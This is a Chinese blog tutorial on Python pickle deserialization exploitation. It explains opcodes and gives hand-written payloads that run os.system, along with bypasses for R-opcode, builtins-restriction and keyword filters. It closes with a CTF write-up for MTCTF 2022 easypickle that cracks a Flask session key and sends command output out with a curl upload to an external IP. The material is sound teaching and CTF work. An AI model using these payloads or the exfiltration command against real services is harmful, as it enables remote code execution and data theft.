pickle反序列化3opcode


前言

算是遇到的比较难解决的一个问题。不能只说难,主要是指出难在哪里?主要是这类题目算是有三个方面的知识需要学习,一个是cookie的伪造等等(普通的cookie,或者JWT的session伪造),第二是py常规的一些魔术方法和反序列化,最后就是opcode的编写和waf的绕过。主要是关于第三点,感觉市面上的资料可能对于初学者来说不太好理解
参考大佬博客https://xz.aliyun.com/news/7032

基本知识

pickle简介

1.与php类似,python也有序列化功能以长期储存内存中的数据。pickle就是python下的序列化和反序列化包
2.pickle是python专用的。json是可以跨语言的。pickle可以表示python几乎所有的类型(包括自定义类型),json只能表示部分内置类型且不能表示自定义类型
3.pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行py代码,覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)

可序列化的对象

就像php序列化的操作一样,这里都是针对我们的对象
1.None/True/False
2.整数、浮点数、复数
3.str、byte、bytearray
4.只包含可封存对象的集合,包括tuple、list、set和dict
5.定义在模块最外层的函数,比如使用def定义。lambda函数不可以,这个是python的匿名函数,和常规py函数的使用有所不同,不太清楚或者py基础比较差的可以在大块空闲中好好学一下py,比如学生有的暑期
6.定义在模块外最外层的内置函数
7.定义在模块最外层的类
8.dict__属性值或者__getstate()函数的返回值可以被序列化的类

object.reduce()函数

在开发时,可以通过重写类的object.reduce()函数,使之在被序列化时按照重写的方式进行。具体而言,py要求object.reduce()返回一个(callable, ([para1,para2…])[,…]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)
在下文的pickle的opcode中,R的作用与object.reduce()关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R正好对应object.reduce()函数,object.reduce()的返回值会作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的

pickel过程详细解读

1.pickle通过PVM进行
2.PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
栈:由Python的list实现,被用来临时存储数据、参数以及对象。
memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。
比如解析str的过程

1
2
3
4
(S'str1'
s'str2'
I1234
t

首先是读一个(左小括号,这时stack记录MARK,S’’表示的就是记录字符串
I就是记录数字了,最后的t表示结尾
一步一步拆解就是这样
读取(

1
MARK

读取S’str1’

1
2
'str1'
MARK

读取S’str2’

1
2
3
'str2'
'str1'
MARK

读取I1234

1
2
3
4
1234
'str2'
'str1'
MARK

最后读取t

1
2
3
4
5
('str1','str2',1234,)
1234
'str2'
'str1'
MARK

PVM解析__reduce__过程

1
2
3
4
c__builtin__
file
(S'/etc/passwd'
tR

首先读取一二行
c__builtin__
file

1
__builtin__.file

然后读取(

1
2
MARK
__builtin__.file

再读取(S’/etc/passwd’

1
2
3
'/etc/passwd'
MARK
__builtin__.file

再然后读取t

1
2
('/etc/passwd',)
__builtin__.file

然后就是读取R,这里和py文件打开的那个还是很类似的

1
<open file '/etc/passwd',mode 'r' at 0x100525030>

这里又变成了执行命令

opcode

opcode

这里的知识就是解决了要使用正确的版本才能得到正确的payload的题目,主要是protocol这个东方,之前是有ctf赛题要有protocol=0,不然得不到答案的,当时也只是简单看了一下wp照抄了一下
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

a={'1': 1, '2': 2}

print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'

一般都是用protocol=0的

pickletools

使用pickletools可以方便的将opcode转换为便于肉眼读取的形式
运行

1
2
3
4
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
    0: \x80 PROTO      3
2: c GLOBAL 'builtins exec'
17: q BINPUT 0
19: X BINUNICODE "key1=b'1'\nkey2=b'2'"
43: q BINPUT 1
45: \x85 TUPLE1
46: q BINPUT 2
48: R REDUCE
49: q BINPUT 3
51: . STOP
highest protocol among opcodes = 2

Process finished with exit code 0

漏洞利用

利用思路

任意代码执行或者命令执行
变量覆盖:通过覆盖一些凭证达到绕过身份验证的目的

初步认识:pickle EXP的简单demo

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

这个过一下有个印象就可以了

如何手写opcode

1.在CTF中,很多时候需要一次执行多个函数或者一次进行多个指令,此时就不能光用__reduce__来解决问题(reduce一次只有执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或者构造opcode了。
之前我的前两篇博客,都是要不就是简单的改一下cookie或者就是一个reduce就可以的了,不需要说手写opcode,这也是pickle反序列化比较难的地方
2.在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要复合pickle语法,就可以进行变量覆盖、函数执行等操作
3.根据不同版本,版本0的opcode是我们一般选择的
PVM解析__reduce__过程

1
2
3
4
c__builtin__
file
(S'/etc/passwd'
tR

这个过程不熟悉的一定多看下我的解析过程

常用opcode解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
opcode 	描述 	具体写法 	栈上的变化 	memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无
N 实例化一个None N 获得的对象入栈 无
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈 无
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无
I 实例化一个int对象 Ixxx\n 获得的对象入栈 无
F 实例化一个float对象 Fx.x\n 获得的对象入栈 无
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无
( 向栈中压入一个MARK标记 ( MARK标记入栈 无
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无
) 向栈中直接压入一个空元组 ) 空元组入栈 无
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无
] 向栈中直接压入一个空列表 ] 空列表入栈 无
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无
} 向栈中直接压入一个空字典 } 空字典入栈 无
p 将栈顶对象储存至memo_n pn\n 无 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈 无
0 丢弃栈顶对象 0 栈顶对象被丢弃 无
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无

这个肯定不是拿来背的,多做一些题目,多理解一点
还有一些注意点,过一下

1
2
3
4
5
6
7
8
此外, TRUE 可以用 I 表示: b'I01\n' ; FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。
由这些opcode我们可以得到一些需要注意的地方:

编写opcode时要想象栈中的数据,以正确使用每种opcode。
在理解时注意与python本身的操作对照(比如python列表的append对应a、extend对应e;字典的update对应u)。
c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
s、u、b操作符可以构造并赋值原来没有的属性、键值对

拼接opcode

将第一个pickle流结尾表示结束的.去掉,将第二个pickle流与第一个拼接起来即可

全局变量覆盖

python源码

1
2
# secret.py
name='TEST3213qkfsmfo'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())#对内容进行反序列化

print('output:',output)
print('after:',secret.name)

这里解析每一个对应的作用
导入两个模块不用说了
接下来开始编写模块
opcode=就是开始编写的这个过程
然后内容用类似于注释的方法三个单引号括起来
c__main__,第一行的,通过c获取全局变量secret,然后建立一个字典,并使用b对secret进行属性设置
全局变量覆盖的功能这个就是,这样就把我们原来的代码里面的name的内容进行了覆盖了

函数执行

这个很多时候ctf用的会比较多一些
与函数执行相关的opcode有三个:R,i,o。下面的三个命令都是要执行system(‘whoami’)的示例
R

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

i

1
2
3
4
b'''(S'whoami'
ios
system
.'''

o

1
2
3
4
b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象是一种特殊的函数执行,这里简单的使用R构造一下,其他方式类似

1
2
3
4
5
6
7
8
9
10
11
12
13
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

小总结

我觉得上面的总结是写的比较好的,能够比较清楚地解决opcode编写的第一步的问题。就是,认真看了,基本能够写一些简单的opcode了
接下来要解决的就是我们的这个waf的问题
再来看个小例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import os
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"

def __reduce__(self):
command = r"whoami"
return (os.system, (command,))

p = Person()
opcode = pickle.dumps(p)
print(opcode)

P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

首先是导入两个模块
一个对象Person,里面有两个函数,__init__的作用就是定义函数的作用,reduce就是让我们在反序列化的过程中改原来的内容的
这个r的作用就是让字符串的反斜杠、不被解释为转义字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle

opcode = b'''cos
system
(S'whoami'
tR.'''

"""
cos
system
c表示import 一个模块中的函数并作为对象压栈
(S'whoami'
(表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈
tR.
t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。
R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。
.表示程序结束,栈顶的一个元素作为pickle.loads()的返回值
"""
pickle.loads(opcode)
#xxx\21609
————————————————
版权声明:本文为CSDN博主「cllsse」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/google20/article/details/142071729

这个是另外的一个大佬的解析,也可以多参考一下
上面还有一个地方没有解释清楚的就是,这个.的作用
是为了执行多个命令,.是程序结束的标志,我们可以通过去掉.来将两个字节流拼接起来

1
2
3
4
5
6
7
8
9
10
11
import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

绕过waf

使用b指令绕过R指令

当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略我们的__setstate__,但是__getstate__必须返回一个字典。如果__getstate__与__setstate__都被省略,那么就默认自动保存和加载对象的属性字典__dict__
在pickle源码中,字节码b对应的是load_build()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

让豆包来解析这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def load_build(self):
stack = self.stack # stack 是反序列化时的栈,存储中间结果
state = stack.pop() # 弹出栈顶元素:这是对象的状态数据(通常是字典或元组)
# 栈顶现在剩下的是刚创建的对象实例(inst)
inst = stack[-1]

# 尝试获取对象的 __setstate__ 方法(如果定义了的话)
setstate = getattr(inst, "__setstate__", None)

# 如果对象自定义了 __setstate__ 方法,直接调用它来恢复状态
if setstate is not None:
setstate(state)
return # 执行完自定义方法后,直接返回

# 以下是没有自定义 __setstate__ 时的默认处理逻辑
slotstate = None
# 如果状态是长度为2的元组,说明包含两部分:__dict__ 状态和 __slots__ 状态
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state # 拆分普通属性和 slots 属性

# 处理普通属性(__dict__ 中的键值对)
if state:
inst_dict = inst.__dict__ # 获取对象的属性字典
intern = sys.intern # 用于字符串intern,优化内存
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v # 将键转为interned字符串后存入属性字典
else:
inst_dict[k] = v # 非字符串键直接存入

# 处理 __slots__ 定义的属性(如果有的话)
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v) # 直接通过 setattr 给 slots 属性赋值

# 将 load_build 方法绑定到 BUILD 指令,反序列化遇到 BUILD 时调用
dispatch[BUILD[0]] = load_build

如果我们将字典{“setstate“:os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)
这样也就执行了我们要的命令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age

def __str__(self):
return f"name: {self.name}\nage: {self.age}"


class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name = state
self.age = 10

def __getstate__(self):
print("invoke __getstate__")
return "Child"

opcode=b"""(c__main__
Person
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b."""

"""
}空字典入栈
u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对
第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state)
也就是os.system(command)
"""

fake = pickle.loads(opcode)
#xxx\21609

绕过builtins

有的例子限死了module==”builtins”
builtins模块提供了python的内置函数,在解析器启动的时候自动绕如
查看所包含的函数

1
2
3
4
import sys
for i in sys.modules['builtins'].__dict__:
print(i)

我们的目的是构造print(eval(“import(‘os’).system(‘whoami’)”))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle
import builtins
import os
print(builtins.getattr(builtins,'eval'))# 获取对象属性值
# <built-in function eval>
# 但是我们c指令要给出instance,也就是说不能单独import builtins
print(builtins.globals())#获取模块包含的内容
"""
返回的字典最后一个是 'builtins': <module 'builtins' (built-in)>
"""
print(builtins.getattr(builtins.dict,'get'))#获取get函数
print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'))
# builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值
print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval'))
# <built-in function eval>

opcode=b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR."""
# 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组
# 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")')
pickle.loads(opcode) # xxx\21609

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)

绕过关键字过滤

十六进制绕过

操作码S能识别十六进制字符串

S’\x73ecret’

V指令进行unicode绕过

Vsecr\u0065t

使用内置函数获取关键字

对于已导入的模块,我们可以通过sys.modules[‘xxx’]来获取该模块,然后通过内置函数dir()来列出模块中的所有属性
由于pickle不支持列表索引、字典索引、所以我们不能直接获取所需的字符串。在python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象
然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始

1
2
secret="this is a key"

pk1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import sys
import hello
print(dir(sys.modules['hello']))
# ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
print(next(reversed(dir(sys.modules['hello']))))
# secret
# 下面手写opcode获取secret字符串
opcode=b"""(((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
."""
print(pickle.loads(opcode))
# secret

进行变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle
import sys
import hello
class A(object):
def __init__(self,uname,password):
self.uname=uname
self.password=password
def get_password(uname):
if uname=="hello":
return hello.secret


opcode=b"""c__main__
hello
((((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I999
db(S'hello'
I999
i__main__
A
."""
a=pickle.loads(opcode)
if a.uname=='hello':
if(a.password==get_password('hello')):
#覆盖了hello模块的secret变量,使其与实例a的password相等
print("success")
#success

小总结2

这上面便是一些基础的知识,主要是针对opcode的手动编写
下面结合题目来深入,主要包括两个方面,一个是结合具体的代码,一个是弹出shell来解决问题

[MTCTF 2022]easypickle

345分
反序列化Cookie伪造Python
题目描述

简单的pickle反序列化
这里还给了一个附件
有一个app.py的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

这个的逻辑大概就是/路由下会检测session是否存在user的键名,如果没有则从admin五个字符中随机赋值五个并输出;/admin路由下判断是否为admin,如果是则进行关键字替换和if判断,然后pickle反序列化
我们这里访问/admin路由,得到cookie

1
Cookie: commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4"; session=eyJ1c2VyIjoibm5kYWkifQ.aIXM3A.gLlGfmhILRagBn6d4gPxMarGe4w

要伪造cookie那么就需要密钥
参考爆破脚本

1
2
3
4
5
6
7
import os

file_path='./key.txt'
with open(file_path, 'w') as f:
for i in range(1,9999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))

前四行没有什么说的,没有的话会在当前路径下创建文件
第五行则是要按照题目的格式生成,第六行就是保证内容格式为

1
2
3
4
"3f7a"
"9c2d"
"e5b8"
...

这个脚本一次不一定跑的出来,我们将9999可以改为一个更大的数
项目在https://github.com/Paradoxis/Flask-Unsign
下载
然后安装

1
pip install flask-unsign

然后将脚本得到的key.txt放入Flask-Unsign-master下
最后运行

1
flask-unsign --unsign --cookie "eyJ1c2VyIjoibm5kYWkifQ.aIXM3A.gLlGfmhILRagBn6d4gPxMarGe4w" --wordlist key.txt

得到key,我这里是’d2cc’
然后用到之前学习到的知识要加密一下

1
2
└─# python3 session3.py encode -s "d2cc" -t "{'user':'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.aIXS1g.lG4t0vRQ--fc5dBE1tY8bKmUT38

把这个cookie放上去,成功访问,但是还是报错说error
然后根据源码,思考如何进行pickle反序列化

1
2
3
4
5
6
7
8
9
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"

这里就是将opcode的关键字进行替换,然后把替换后并base64解码后的内容赋值给a;借着判断ifRiob这几种方式使得否在变量a里面, 没有才可以进行反序列化
接下来应该是有两种解法是比较好的,一个是外带数据出来。然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件内容外带出来

1
2
3
b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.'''
#外带/3.txt的内容到服务器上

然后编写cookie

1
2
3
┌──(root㉿kali)-[~]
└─# python3 session3.py encode -s "d2cc" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}"
eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRzY3o0dk15NTBlSFFuQ205ekxnPT0ifQ.aIXbTA.T5zxtemspc2_3_C2uEjY3lx50xw

py这边的脚本,注意要是字节流,前面加上b就可以了

1
2
3
4
5
import base64
str1=b'''(cos\nsystem\nS'ls>/3.txt'\nos.'''
str2=base64.b64encode(str1)
print(str2)

然后准备接受

1
2
3
4
[root@iZtvt92ufty3mlZ ~]# nc -lnvp 12345
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
1
2
3
┌──(root㉿kali)-[~]
└─# python3 session3.py encode -s "d2cc" -t "{'user':'admin','ser_data':'。。
这里不能暴露我的公网ip

最后得到flag

总结

简单的opcode还是能够写的了,也只能慢慢地来积累了,一下子来很难的,那还是解决不了


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录